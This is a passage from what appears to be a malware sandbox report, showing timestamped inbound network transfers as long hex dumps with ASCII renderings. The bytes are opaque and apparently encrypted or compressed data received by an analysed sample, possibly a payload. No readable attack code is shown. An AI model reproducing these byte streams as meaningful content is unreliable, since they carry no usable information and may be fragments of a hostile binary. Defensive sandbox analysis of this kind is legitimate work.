4f 31 df fc 16 b3 c1 71 b4 89 f4 67 3a ed 5e 43 fd 4b c2 43 08 78 22 f2 95 3a 99 f3 99 37 2f df 05 8c 18 0c 74 de d2 ef 24 5b 7f b0 9c 70 76 9e d5 92 Data Ascii: bf`&Rmb9GQo[c_3IQR,\h()>uBoy2@KrF /#$Ai@gy(Z,RjS$d^5l1WLVuS{umCRTw :+_kBvvJ\O1qg:^CKCx":7/t$[pv

2022-01-15 19:23:31 UTC 4667 IN Data Raw: ad 3d 7b 2e 89 73 cb f0 ef 73 9a 32 93 9c b4 1c db 2d 99 36 95 cb 11 28 63 b1 7b 5b 84 a5 93 24 56 f6 c1 1d be d1 15 ad a6 42 2e 54 82 a0 70 27 ba a6 05 00 d4 68 40 92 e4 a4 2d 05 67 e0 25 29 09 b0 d1 53 0e e5 3f ee fa 3d 03 ad 81 06 a3 76 0d 53 91 8b 1d 03 12 21 cf ac 6d d9 e5 36 7d 64 83 ba aa 44 cf 86 54 0d 3f 33 57 84 f3 47 55 d2 77 09 8a 66 dd 31 94 36 81 90 38 61 63 21 2f ba 3a 15 fd f5 62 40 76 c4 9f 83 23 a6 d9 54 c4 4d 18 07 ec d5 07 26 4d 27 16 d1 82 6e 5b 44 7e 6c e8 d3 71 a9 a9 29 77 7b ae 5f 08 6b b2 12 23 80 24 0d f1 8b ff 22 52 a6 7f 55 54 fa 25 c2 36 e9 1c 6b b3 de 29 32 e3 89 7e 95 4b 99 8a 5a 38 2c 48 ae 34 3b 74 23 0b c6 55 c9 5e 6f 33 15 ef 09 98 13 3b 15 8f 67 25 05 b8 37 ac 96 c7 27 74 3d bc d7 8f 4f 85 97 57 4f 31 bc 5b 1b a4 ef 5e Data Ascii: ={.ss2-6(c{[$VB.Tp'h@-g%)S?=vS!m6}dDT?3WGUwf168ac!/:b@v#TM&M'n[D~lq)w{_k#$"RUT%6k)2~KZ8,H4;t#U^o3;g%7't=OWO1[^

2022-01-15 19:23:31 UTC 4683 IN Data Raw: 99 77 3a 82 11 04 cc c2 59 a2 4b 46 a4 c2 00 33 10 6b ea 39 be 8f 7c 94 ed 75 bb d0 dc 39 8d 14 65 01 67 82 8c 9a a5 bd 00 14 cb bc 96 7c a6 a8 9a 8a 0a 33 4a d9 9d 5c e6 9d f0 08 bb 86 ee 73 6a 53 fe a9 ae 14 41 c3 38 a1 c1 02 76 37 92 78 e3 b6 53 ed 10 56 5b b3 38 6a 5b 27 7b c9 d7 96 79 e8 5b 96 ae 49 f8 92 4d 54 97 02 2f 70 6f a4 5b 1b 97 0f 14 97 65 3b ac e2 c2 bd 2b be ed b4 b2 24 ab 58 80 01 e1 4c fb 8b 29 1f c1 80 b0 82 58 05 b2 8e bc 36 02 eb 7e 81 b4 3c 7a e5 c0 73 70 57 52 a2 73 89 ed 56 69 18 fd 6d 8d ce 28 70 28 c6 0f 33 98 69 22 0c 25 a6 1b 53 9f d3 a1 78 82 41 8e c8 79 ba f1 fb 0d 1b 9a a7 dc 70 a0 bc e4 4e ff b0 ed e2 0a 4c 0e 8f d2 b0 45 f2 a1 bf fb a3 37 9f 11 88 47 4d 3f 6a 58 df 00 83d6 e6 bc ca 44 b8 cc 52 3a 0c 8f 0c 4c 7e db 26 00 Data Ascii: w:YKF3k9|u9eg|3J\sjSA8v7xSV[8j['{y[IMT/po[e;+$XL)X6~<zspWRsVim(p(3i"%SxAypNLE7GM?jXDR:L~&

2022-01-15 19:23:31 UTC 4699 IN Data Raw: dc e6 fa 80 1b d9 70 62 a4 57 1d f9 94 d0 29 75 db e8 43 ea 15 f8 3e 20 5e 83 e2 d3 00 5d 55 f8 44 51 f5 c0 7b c2 f5 84 13 56 ba d9 df c3 39 7f 00 ad de 78 bd 47 d9 5b be 5d b0 ae f4 8d 9c 38 b1 35 81 c7 b6 44 d9 31 a8 ff 35 f8 c6 3a 0c ed a0 e3 36 48 32 c4 86 ef bd 44 6a 7b 94 99 9a 0e c3 0a 99 3a 88 0c 6b e6 50 2b 96 8c 78 2f 9f 6d af 58 16 9e fa 79 77 11 a8 ce 0f 6a 20 da 95 a8 14 81 7e c3 81 19 a2 24 e9 e7 d3 9c a4 1b 58 e9 b8 20 58 1c ad 43 d5 9f b4 ed e4 3c 87 67 99 29 df 51 f6 d5 85 61 41 b3 f5 dc 9b 6d 1a a9 68 5e 65 b7 d2 67 f9 12 e0 65 2e 6c 8f fd 11 4e 35 8f ae 8d c9 a4 15 79 cc 6b 3d 53 38 8a 57 0f df 9a b6 c0 6c ba e6 3a d0 1f 6e a0 b9 3d c9 d9 3d 6d a8 56 a1 a0 62 eb be dc 48 5b 16 c3 c2 a2 57 00 30 b8 6a 56 69 65 73 03 71 95 34 b4 09 00 33 Data Ascii: pbW)uC> ^]UDQ{V9xG[]85D15:6H2Dj{:kP+x/mXywj ~$X XC<g)QaAmh^ege.lN5yk=S8Wl:n==mVbH[W0jViesq43

2022-01-15 19:23:31 UTC 4715 IN Data Raw: 8b 90 2e 5d df 69 29 2a de c3 b5 82 d0 b9 03 5b 47 36 ed 60 69 8a 97 f6 89 97 2e 79 3e dd 78 64 1f 99 9a 8e a3 e1 45 e7 2e ff 0b 5b 92 ef af 86 a3 66 db 37 5e 80 1d e0 0b 8d bd 92 91 19 90 5f 0c e6 b2 ba 4a 7a 10 c8 96 4e 80 c8 82 21 6e a6 84 67 2c 00 07 91 79 48 1a 47 82 16 33 31 96 22 a1 21 2f 47 e7 7f d6 6d b4 55 58 9c f7 c6 09 63 39 6d cb 32 fc 8b 01 6e 43 4d 99 c8 c7 d2 88 ee 5e e7 76 8c 0d a2 de e4 7c a2 f8 c5 12 1a 7d da 54 58 93 ce e9 7b d7 e7 08 c7 1e e0 e3 35 06 4e 79 da de 2f 8a a0 cc b8 1e 27 e6 ac 29 6f b2 2a 1c 17 db b9 f1 6e c0 ff 6d e9 47 ef 1b cc 45 d8 05 2c 3b 83 bb d3 69 2b fd aa 8f a4 4e f5 35 4d 21 0e ad 78 8e 8b 02 fb aa f7 15 30 bb 13 b9 b8 75 54 16 bf 30 94 40 46 2f 49 02 df e9 63 0e 2d d9 a1 23 a2 3d a2 88 62 90 c5 bc a6 95 cb 31 Data Ascii: .]i)*[G6`i.y>xdE.[f7^_JzN!ng,yHG31"!/GmUXc9m2nCM^v|}TX{5Ny/')o*nmGE,;i+N5M!x0uT0@F/Ic-#=b1

2022-01-15 19:23:31 UTC 4731 IN Data Raw: d2 24 5b 66 2a 98 1e 38 ff a6 8c 5e 79 72 cc b1 cd 98 77 95 02 46 ad 0d 5b 54 51 b8 c1 47 ae d4 57 f2 19 19 1b 22 f1 44 fc fa 16 50 9f c6 20 0a d4 89 27 05 8e ba f7 aa 80 8d 88 70 01 03 e3 d4 03 dc d5 84 35 1a 8a f9 13 45 9b e2 7cf4 07 92 38 18 de ce c2 0d 16 3e 62 49 db b3 af 95 f1 15 8c 7d f9 7b a5 eb a8 d5 ad 0d a2 6b fc 89 66 2f ba bc 5c 1d a5 9dc2 7c 51 26 33 9b 83 a8 7a ff 61 42 7e 8e 01 36 f0 fb 31 9f b4 2f 1d 49 14 9d 95 96 82 df 43 20 04 75 b9 57 c9 30 ad ee ad 4a 65 2c c4 c5 7c 8e ff d2 d5 6f a6 de 8e 69 4b b9 1d 97 03 b2 04 eb c9 d3 56 0e 42 b4 39 e7 26 8d 9a ff 94 3d 92 ab 4c 03 cd e4 c4 3b bb 3a 5f cf 0e 62 59 51 05 35 3b 20 4c 74 1c 24 4b ba 38 00 73 c9 d1 b6 9e 6a de b7 63 5a 7f fb 7f 83 72 0c e3 23 2c 19 ed 5c 14 52 dd 65 38 ee a6 34 b7 Data Ascii: $[f*8^yrwF[TQGW"DP 'p5E|8>bI}{kf/\|Q&3zaB~61/IC uW0Je,|oiKVB9&=L;:_bYQ5; Lt$K8sjcZr#,\Re84

2022-01-15 19:23:31 UTC 4747 IN Data Raw: e3 db b0 17 d8 10 aa e4 79 c5 99 30 49 15 4d f1 2f 63 4f 96 8f 46 94 de e1 48 bd 32 cd 04 5a 45 7f 6f ad 14 5e 07 79 09 8e ac 75 56 bc b1 67 dc b2 c4 8c 59 43 b0 63 75 ba 22 f1 71 e5 6b d3 33 72 a5 ee 1d 76 66 2d b5 c4 2b 2f 2c 56 b7 69 00 68 43 33 d4 6e 50 b8 f0 31 f6 0a 09 da 7f 93 aa 99 5e 06 0b 2e 5f d9 42 1c 29 24 6e 55 08 61 b9 06 be 91 c2 8d f0 5f 18 b5 cf 2a c3 9e 6b f7 05 c4 b9 9c 35 c2 cc cb 82 98 05 68 d0 1f ce f7 55 05 50 9c 1a fa 45 2e ef 9f d0 b7 ca c2 93 7e a0 0f 13 ea db f4 05 45 da 2a b2 a8 1b 5a fc f9 4f 2c 76 46 2a 5a de af b4 af 33 de 89 66 f9 f5 d5 a4 68 b7 08 ae b0 e7 5a dd c4 3c 5c 31 80 fd bb d9 4c cf 4c 7c 53 a1 30 07 eb 9b 03 5d 9c ac 12 b8 b8 ff b4 7d 8e ec 2a 55 9b 08 c6 27 52 76 e0 93 a1 11 07 43 0f 26 95 fa 77 03 92 05 fa e1 Data Ascii: y0IM/cOFH2ZEo^yuVgYCcu"qk3rvf-+/,VihC3nP1^._B)$nUa_*k5hUPE.~E*ZO,vF*Z3fhZ<\1LL|S0]}*U'RvC&w

2022-01-15 19:23:31 UTC 4763 IN Data Raw: 58 ed e1 e8 24 7d eb 5d 52 41 48 84 73 e7 58 a6 b9 08 e8 5a 21 37 c9 48 51 24 e5 0c bf 69 5f f7 70 2b d4 47 e0 99 40 59 a1 ec 9b 09 1d 88 c3 14 50 d9 85 84 e8 a7 1b bf 4b 46 dc 9c 1d 7b df 02 18 1b 08 da d2 45 83 f3 61 ac 5f 46 01 e6 af ba b8 6e 56 3e 75 12 50 39 f3 a6 68 28 5e a8 a8 45 05 77 fb 89 6b 22 6d 59 2c d4 f7 97 7b 1d bd 95 6c 44 6b a4 93 03 d8 ac f1 81 ec 50 97 be 4c 59 d1 a2 c2 91 68 dd 8a 4b b8 59 78 7f 17 d6 07 9f 8e fc 51 ee 1c 4d ad 7b 57 0a 1b 0f 63 43 a7 32 94 c8 33 91 57 e1 3a f5 2a 91 ac a8 20 e7 50 91 93 e5 a0 47 11 33 7e 28 08 59 2f 82 0e 09 db 31 32 65 c9 53 5f b8 29 65 66 b8 b4 05 1e 51 eb a0 dc 2b 10 59 5f 34 1f 52 2c ae b4 38 30 f7 a9 37 98 b2 c4 7c 1c e6 a6 ee d1 73 99 9c ac e4 33 84 dc a4 d5 90 bb 78 b9 53 73 01 fd 5a 47 43 45 Data Ascii: X$}]RAHsXZ!7HQ$i_p+G@YPKF{Ea_FnV>uP9h(^Ewk"mY,{lDkPLYhKYxQM{WcC23W:* PG3~(Y/12eS_)efQ+Y_4R,807|s3xSsZGCE

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 61 of 103

2022-01-15 19:23:31 UTC 4779 IN Data Raw: fb 55 e0 ee 01 b3 84 35 cf b4 2f e2 8c 6c 23 b6 9b 7c 36 0c ce 4c 6d 4b 42 e8 04 57 07 93 e5 28 3f 51 67 dc 96 92 6f 93 5e 20 9f ab 60 ef 78 c0 67 1d 6e 64 8d 9c 62 dd b9 a3 1d 74 4a a5 80 7a d0 d3 a2 d3 cd 5b 36 89 f8 c5 11 0b e7 28 06 6e 48 55 72 e5 71 48 82 bd 68 56 4c 9d 6b 0a a4 b0 de c9 97 98 e0 1d c9 29 61 32 20 d7 fc 6b 27 20 96 ab 1a 9e 7c 05 c2 01 19 d3 5c ab e7 00 15 c8 9d 91 df 51 9f af 12 80 a8 db e4 38 51 35 47 48 08 73 d6 10 38 75 74 6f 46 1b 6a 92 b5 98 74 77 ef 0d a2 c1 44 6d c4 6f e4 cb ae b6 cf 97 47 f5 f1 ac 11 94 e4 c1 a4 ee 73 93 99 3c 4d 33 90 5e 27 96 14 d3 ef 22 55 28 2d ed f0 9a d2 e7 33 9e 8c 90 57 dc 0d d0 ba 69 68 f2 93 d0 87 c8 17 33 b2 7a 85 6e 08 27 ca 51 45 41 14 35 a4 72 3f 88 f9 a6 35 e8 f3 fd 00 0f df 4a ae ab 52 62 ba Data Ascii: U5/l#|6LmKBW(?Qgo^ `xgndbtJz[6(nHUrqHhVLk)a2 k' |\Q8Q5GHs8utoFjtwDmoGs<M3^'"U(-3Wih3zn'QEA5r?5JRb

2022-01-15 19:23:32 UTC 4795 IN Data Raw: 5a f1 6e c8 9d e9 6c c6 3f 4d 6d bd f9 66 40 15 5a 3d 16 80 a7 c3 1f 1e 5e e6 83 f3 30 3f 82 d9 50 84 5c e9 9e 8d e2 8c 94 32 4d e1 ca 3b a6 4e 24 c3 6b 81 a3 60 35 a8 5a c1 7d 24 eb b7 17 0c 2e 9a 45 db 31 7f d9 3b bb 08 fe db c9 8d 2c 2b da 6c b4 e8 ca b4 44 6b dd 5e a3 b6 67 5c 6f 54 d1 bf 01 93 e7 40 4d 9a c3 a6 1d 62 fd 9a 4f 37 59 80 90 55 a6 88 ee 3f 7c 5e f9 bd e7 14 a1 57 30 f8 c2 ee 67 f9 92 5f 59 e7 6a 1c d9 81 f1 7d 7b 57 87 39 f5 f6 8c 4e 27 b2 fa 4e fa d3 2d eb 36 86 94 d7 b1 6e 80 72 24 75 d2 d3 f8 8d 76 78 2f 5f 84 bc 06 97 62 e9 9c 34 89 1b 9c b4 f2 bb 19 7c 8c 7c c9 86 e9 8f 44 b4 0c c8 b0 70 3e 76 65 76 e2 89 7a 67 56 f7 6e 38 54 d7 ee db b8 6e 74 2e 0e ce 32 4a cd 1c 53 8c 23 45 2d 80 68 d8 df 53 76 a4 e2 6f 3d 28 91 67 80 21 b7 44 df Data Ascii: Znl?Mmf@Z=^0?P\2M;N$k`5Z}$.E1;,+lDk^g\oT@MbO7YU?|^W0g_Yj}{W9N'N-6nr$uvx/_b4||Dp>vevzgVn8Tnt.2JS#E-hSvo=(g!D

2022-01-15 19:23:32 UTC 4811 IN Data Raw: b4 dc 1a 95 f2 38 24 d6 0d 74 d1 5c 02 7d 43 f6 95 09 de 29 0b ff 78 3d 63 42 6d 37 56 7a 2f f7 3d dd bd 3c 5b 0a a8 6a 13 b0 54 02 f2 aa ee 91 b2 0d 66 a9 4c df a3 56 fe 5e d7 cc a8 39 16 50 d8 7e e0 44 27 c1 ce 90 b8 93 24 b5 e9 57 d1 fe 6a 16 38 e9 9b b0 32 c7 af a0 1b d5 df 05 2d 8e 1a a2 19 eb e7 50 57 e2 71 79 98 51 70 a2 0f 84 6c 96 a4 7c 09 b2 d5 97 21 ac 91 4c 66 09 d7 82 94 e9 8d 90 88 2e 67 67 76 13 e2 66 a6 9d 70 5c fd 2e 3b 84 99 e5 45 68 ad 5f 0d 8b 4f 90 5c 38 69 a8 e7 43 17 34 10 7e 26 05 1f bc 2c ef 2e 40 b1 55 97 7d e7 35 6a ff aa be 18 23 95 9c b5 83 b0 2d 44 e0 28 65 bc 70 7d 19 ce b1 1e ce 19 b1 2c 4e 45 3b 08 01 31 43 9c 3e fa 73 e9 97 58 d7 dc b7 07 f7 9f 37 c8 0f 6c b4 3d 81 6e 2fc7 77 4d 70 76 a3 3b b0 0a ed 78 4b cd ef cd 03 e4 Data Ascii: 8$t\}C)x=cBm7Vz/=<[jTfLV^9P~D'$Wj82-PWqyQpl|!Lf.ggvfp\.;Eh_O\8iC4~&,.@U}5j#-D(ep},NE;1C>sX7l=n/wMpv;xK

2022-01-15 19:23:32 UTC 4827 IN Data Raw: 90 cf 32 a8 17 b9 92 b9 bf b1 b4 88 ac 07 a6 80 e3 c6 6d c5 91 b6 1f 21 ed 4f ab f1 96 1f d9 0f 06 c1 4a 2e 9c d8 e8 ec a9 6d 97 0c b5 32 24 20 3a a5 79 6b 38 27 ce 14 12 42 10 19 47 44 40 d1 a2 b3 1d 54 0e 1d 03 3c 07 9b 65 69 35 3c 6b 38 c8 49 19 3e b8 37 3b 68 56 c0 b8 4e 48 4f 0a 77 2f 76 76 17 61 35 8e 6e 96 2b c3 30 83 d9 05 d3 dd 62 30 a4 d0 77 be df ef b3 69 70 62 19 a4 57 39 91 d8 d8 ea e5 5f 98 7d 98 6d c1 a0 23 8c c4 7d 30 5f 96 e3 f2 66 55 de 97 d8 e6 75 57 55 12 a0 10 90 aa 3d 49 16 8d 1c 6f 17 73 e2 4d e8 b4 f4 89 00 3d 26 ca d7 0d cb a8 7e 6c 0a 2a 84 a1 a5 5a 8e fc 11 f5 ab 79 71 d1 fc 14 41 17 43 15 77 c5 bd 7f 02 b6 72 9a e0 ee 85 2e 28 b9 85 2d c8 2c 70 3d 77 38 de f0 7b 58 bb 29 78 a9 dd 6f 19 38 5a ca bf fe 22 1b 2b 08 10 ed 21 8a 64 Data Ascii: 2m!OJ.m2$ :yk8'BGD@T<ei5<k8I>7;hVNHOw/vva5n+0b0wipbW9_}m#}0_fUuWU=IosM=&~l*ZyqACwr.(-,p=w8{X)xo8Z"+!d

2022-01-15 19:23:32 UTC 4843 IN Data Raw: 8a ee 6e bf 7e 7c 7f f9 59 1c ec 87 c2 9b 95 79 0c 41 e0 ed 53 ce 79 70 d5 cb 04 16 95 e3 fa 1e 72 0f f3 57 61 9d 8d 05 85 25 87 3d ba 6c b8 c5 e0 81 8c 1d 9e 1d ec 8e bc 43 1a 80 a2 50 e6 8c a7 ef a1 d4 06 aa ad b6 78 a2 6a d0 a9 ca ff f6 45 51 99 50 56 83 8e e4 af 87 d1 6e 24 29 82 d5 c2 5c 1c 27 f1 33 43 0c bb 74 99 72 d8 0f b3 38 06 d0 91 9a da 51 d6 8b e6 37 b2 f8 c2 0f 0b 55 49 80 a2 0c 66 d4 ee 1b 72 37 98 07 4e 0d e6 ac 2d 04 ea fc de d8 94 ed 05 4f 26 24 0f b4 fb 6c 75 fd d9 07 5a c5 4e 58 36 2d 3a 01 61 a5 96 e0 1f 10 ac ee a5 d9 3b f1 49 58 61 34 22 c1 c5 a0 a3 dc d6 71 70 d6 97 1b ce 86 80 5d c4 0f 8d ff e1 75 a8 4c 77 a5 da 39 4d 8f a2 c5 d8 ce 5a ef 24 fe 6a 9d 1d e2 f0 0a fe 10 9b 12 ba c5 87 aa b3 7d dc ad c4 ad 34 8c 45 e9 86 99 4b 36 3c Data Ascii: n~|YyASyprWa%=lCPxjEQPVn$)\'3Ctr8Q7UIfr7N-O&$luZNX6-:a;IXa4"qp]uLw9MZ$j}4EK6<

2022-01-15 19:23:32 UTC 4859 IN Data Raw: b2 61 95 e4 1a 32 17 1d 63 e9 2c 2d 38 21 81 7e d6 41 0b ac 2b fa 50 09 53 bb 5d f9 9c 32 57 8d 57 50 32 d9 86 fc e3 21 2d 87 39 e6 c1 e7 f4 6f b6 5c 22 2d 60 ef 33 09 92 b5 38 49 e2 ad a3 81 dd 6e 82 e8 db a2 97 bd 09 60 6f 35 a0 f2 15 9d 82 7c 02 70 3a 95 d9 24 52 7b 97 f8 98 8e e8 02 85 bf 6c 9f 61 b7 96 0a 27 a5 77 96 3b 2c ed ca f9 a5 c0 cc 86 d7 64 83 8a dc d3 25 19 57 54 f5 10 44 9c 53 e1 7f d7 02 f5 59 dd e9 e9 37 b9 44 f7 c6 44 6f 8e 6d 59 79 f6 54 6e 41 59 74 ef 3f 7a 5c 94 88 8b 4f bf 31 5a 49 e2 77 84 62 f5 d7 83 21 ae ce ac 0b 7c 06 dc aa 3b 40 b2 59 02 f3 d3 69 59 7a 937b 86 d2 7d 5f 13 f3 6d d8 f4 92 0b 43 99 dc 2b 34 b9 34 eb a2 98 4a 03 2a 08 68 a4 48 53 f8 fe 56 5e eb 48 9c da 82 da 85 e5 80 73 04 ec a4 d7 f6 04 8f a9 cb 73 f8 83 22 11 Data Ascii: a2c,-8!~A+PS]2WWP2!-9o\"-`38In`o5|p:$R{la'w;,d%WTDSY7DDomYyTnAYt?z\O1ZIwb!|;@YiYz{}_mC+44J*hHSV^Hss"

2022-01-15 19:23:32 UTC 4875 IN Data Raw: 89 ef ee 52 07 c7 de b1 8f a9 26 6c ba 41 aa 78 d9 d8 70 20 49 b0 aa 81 7b 53 4a 68 3a db 6a 61 17 32 e1 8c f1 8b 0c c2 82 62 aa d8 fd 43 58 cb 56 a7 4f 63 ea fb da af f8 a8 a4 b8 05 9f 15 22 a5 9e c2 be 2d d2 e8 6d 3d 0c ee e4 b1 ab 3b 84 ad 5d 7b 04 ff 9a a7 af 3e 1c 93 b8 17 1d be c0 d0 91 84 24 c7 70 2a 97 56 dd a5 82 d6 23 56 1f 41 bd 0f c3 7c 75 63 c0 43 de 50 af c0 e5 4f af 20 4b 96 c4 a7 e9 c3 e7 46 b8 1e d3 6a 7d b4 0b 75 02 94 73 3b 1e ee 30 1a b0 65 cc 89 d8 03 e8 13 49 f7 e6 c5 f3 82 64 87 e2 65 76 9a c9 a1 2b 58 fc f9 a8 fb 20 9f 6b 85 73 cc 35 5c 40 0c f3 55 fe 4c df 77 61 eb fa ea b2 3f 0c 46 30 dc f7 b4 12 2e 52 84 0e 4b 99 9a 2b 88 17 ae 34 37 a5 26 73 1f 6c f8 a6 c5 c3 b2 a6 38 95 7d ce a4 bf ff 09 57 a4 2f 55 66 9c e1 77 ce fa db 00 59 Data Ascii: R&lAxp I{SJh:ja2bCXVOc"-m=;]{>$p*V#VA|ucCPO KFj}us;0eIdev+X ks5\@ULwa?F0.RK+47&sl8}W/UfwY

2022-01-15 19:23:32 UTC 4891 IN Data Raw: 86 d9 b8 72 a1 4a 36 25 0e 95 02 66 fc 1a ed 8a 36 12 de d6 49 00 8e dc d8 7e 2e 90 6b a6 f2 da 4a df a4 11 4f ed 17 b0 66 7d 24 ec 2f 1d e8 de 22 57 ed 66 8e d8 29 a9 15 ed 98 71 64 4c 6d e3 54 82 6e e9 63 3c 86 4b 8e 96 13 49 77 26 72 99 5d b7 7a ee 82 53 2e d3 87 62 81 f6 44 00 f1 ba 8f 99 66 81 74 df f5 33 b7 a7 43 8c 8d ad 37 63 7f 7f 97 c2 74 46 dd e0 20 51 7d fe 77 5f 4e 76 06 1b 3b f4 31 58 22 22 d1 85 6e 20 7b 7f 7f fc 98 a0 1b b9 b8 e5 5d a5 3d f5 f9 13 59 28 8b 33 54 68 7c da 05 e4 28 40 fb e7 3f 60 4f cd ca 46 a5 e0 46 1c 89 b4 a6 07 ff 54 29 29 bb c6 61 c0 bf 34 73 20 69 f5 61 d5 a6 7a 33 a1 27 27 ce 20 46 9e a4 71 17 10 ea ad 36 f7 2c 78 b1 50 36 3d 50 0d 04 f5 80 a9 08 84 6b e9 60 dd 46 59 ce f9 4c 3e fd 62 bf 87 04 8c f1 52 fb 3c cf 86 99 Data Ascii: rJ6%f6I~.kJOf}$/"Wf)qdLmTnc<KIw&r]zS.bDft3C7ctF Q}w_Nv;1X""n {]=Y(3Th|(@?`OFFT))a4s iaz3'' Fq6,xP6=Pk`FYL>bR<

2022-01-15 19:23:32 UTC 4907 IN Data Raw: 30 79 85 e4 a5 ae 5d 74 e7 b7 37 80 eb ae 14 50 b9 bb a0 10 7c 2d 64 78 b4 51 21 1f 0c cd 21 7d ce f8 99 f9 3d ac 05 ae 75 8a f6 84 5f 05 9c 8f 60 d9 7b a3 72 d6 88 4c a7 53 e4 aa 89 4b a3 b1 e1 97 1b 6a 93 d5 5f 97 3f ad f6 21 a0 b5 d2 c0 19 1b 35 76 4b 9d 0c be 9b cd 02 d1 ac 7c 6f 0e 4b f9 73 ac 68 57 83 d8 de a1 14 89 ab 47 72 c9 13 06 56 95 cb 8e c7 0c 2e 16 a1 52 e0 d4 58 44 8d 38 2d d0 37 2f e2 04 e4 67 82 ba 9d c9 71 51 d0 45 8a 0d 8e 1e a3 c7 59 88 52 7c 51 b7 e2 33 f4 bd 9d 57 ed 8d 78 e9 c2 ac 5b 57 66 59 8e 5a 53 bb da a7 07 a8 f8 33 09 3d 01 e6 0e cb 83 e6 6a ed 3f d7 b3 a0 6d fb 84 91 12 aa 5b e9 ac 16 c5 05 58 53 f2 6a e2 35 e8 9d 09 0d 9f 59 04 e0 cc b9 fa c8 56 c7 b1 b9 38 47 98 e4 46 d1 f4 9c e6 b7 2b 56 02 16 c7 4a db aa ea d4 bb bf fa Data Ascii: 0y]t7P|-dxQ!!}=u_`{rLSKj_?!5vK|oKshWGrV.RXD8-7/gqQEYR|Q3Wx[WfYZS3=j?m[XSj5YV8GF+VJ

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 62 of 103

2022-01-15 19:23:32 UTC 4923 IN Data Raw: 25 5b 89 d2 fc 15 c5 fc 2b 0b e0 e9 8e 5a 82 c1 b3 93 aa b6 e3 8b 5a 65 ed 8b 15 51 7c 0c d6 96 bf 73 02 e5 73 7b bc cc 4c 89 73 72 96 04 17 e1 10 3c d6 68 2d 07 b0 d2 ff d8 c0 6f 3c be c3 ec ea 9e fb c9 dc 05 e7 3f bd 96 25 ad ee 0c 85 28 4a a3 89 01 6d 37 76 47 c2 3b 07 dd 54 82 4b 94 01 8a ca 21 7c 27 9d 2a bf ae d9 ee 05 78 dd 3b 81 f1 44 77 da 01 cf d6 dd 6a 9c 4d 98 c6 a0 8b 3a 28 45 aa 33 39 1e 9e cb df 0a cf a5 c0 c3 9b 40 f6 e0 86 4d 1b 17 35 41 82 48 13 9c 93 7e 16 3e f8 5e de 28 ea 0a d7 29 07 aa 07 3a 4f 35 e2 34 14 8f 12 ca c0 4b d2 6f 5e 96 e1 ae f6 23 5f 47 53 05 48 4a 25 c1 dc 69 b3 5e b7 01 90 a7 72 07 10 4e e6 11 c7 93 89 41 a7 bf ad 1a 98 d2 c2 93 ce 38 11 e0 56 e9 ff b6 80 86 f0 b8 4f 31 ca 38 47 dc b1 26 f8 17 4f 90 06 e8 fd 91 73 c1 Data Ascii: %[+ZZeQ|ss{Lsr<h-o<?%(Jm7vG;TK!|'*x;DwjM:(E39@M5AH~>^():O54Ko^#_GSHJ%i^rNA8VO18G&Os

2022-01-15 19:23:32 UTC 4939 IN Data Raw: 4e d8 8a 1f 3d da ae 4b 26 82 b8 2d 0b 76 cc 49 07 cb 93 d2 a4 52 e7 ee 99 02 49 5d 24 29 84 9e 4a b3 d9 32 1f e5 30 e5 e0 7e 4e 13 d4 5d d3 5d 6b 12 e8 2e 94 b0 21 26 9c 9a a3 94 67 ee 77 7d a1 e7 32 43 76 46 12 e7 17 1d 5a da 56 cb 39 59 f5 00 08 c2 1e 91 7f 38 2c d0 94 a7 72 29 5f c9 d6 4b 0b fe d5 7e ac a5 06 0f c7 e0 13 d4 8a 5a a7 7e 52 37 40 6f 37 bd d6 bc b0 8e 65 2f 60 3d b8 f4 33 4b c3 c6 7c 9c 38 52 47 bd af 53 13 e7 fa df a1 2f 44 1b a7 98 fa 03 e9 d6 50 33 6e 0d 79 07 6b 88 c4 a6 56 0b ca 78 29 05 0b 19 88 54 12 91 55 85 ca 6d b2 ca 89 48 92 e9 8d 97 c7 4d 22 e4 a3 91 44 16 8c fd 79 a2 cd 5b 8d cf fb 3e 6a 41 f4 56 cb 75 08 a7 aa 14 0e b9 f4 93 3a 90 24 e9 a9 f4 76 ec ad ef 7a 07 b6 a2 e6 71 a0 7b 78 e6 f3 c9 5c 13 52 a1 b3 75 2a 89 7f 6c e3 Data Ascii: N=K&-vIRI]$)J20~N]]k.!&gw}2CvFZV9Y8,r)_K~Z~R7@o7e/`=3K|8RGS/DP3nykVx)TUmHM"Dy[>jAVu:$vzq{x\Ru*l

2022-01-15 19:23:32 UTC 4955 IN Data Raw: 9b 92 08 67 83 46 4a 26 fc aa c6 f3 78 22 85 11 77 ca 4f 4c 13 ff 74 2a d5 0c 1b a2 81 37 b2 9e 1c fc 8b 2a f9 0d 46 ce 3c ef cd a3 77 9f e9 c6 cd 12 67 b8 ec f6 a0 00 82 8e 09 40 3d 9e bc a1 cb d1 2b 22 a4 06 d4 3e ab b9 b6 c7 50 d2 77 be c2 10 5d 53 e4 cd 68 da f6 3d 12 60 c9 c4 f0 ef 9b 40 a7 fc 3b 44 53 83 af 47 5b 4c bc fb ca 88 d7 80 6d de ca d1 96 76 63 73 2f 02 c3 41 74 04 48 ee 5d 20 4f 9e f0 cf 53 d7 df 65 51 09 f8 b5 ce 8f d6 a2 d2 a9 4e f7 ed a8 8c 96 7e f3 30 12 0b 12 23 14 67 43 1d 8f 82 4b 36 b7 52 b1 af 77 2b 53 4a 04 61 83 64 b1 ff 7c 44 e3 38 76 94 bc 0d 4b 57 98 d1 2e 7b f0 40 d1 99 1d c6 b7 54 6c 50 20 3b 7f e0 a1 62 3b 32 8e db 57 33 ec 30 80 44 0f a0 ae 3d e8 60 2f 1c f1 e4 76 4b b3 a2 1a d3 d4 55 48 f7 fc 6b 2e d9 de 6d 07 ec 59 7c Data Ascii: gFJ&x"wOLt*7*F<wg@=+">Pw]Sh=`@;DSG[Lmvcs/AtH] OSeQN~0#gCK6Rw+SJad|D8vKW.{@TlP ;b;2W30D=`/vKUHk.mY|

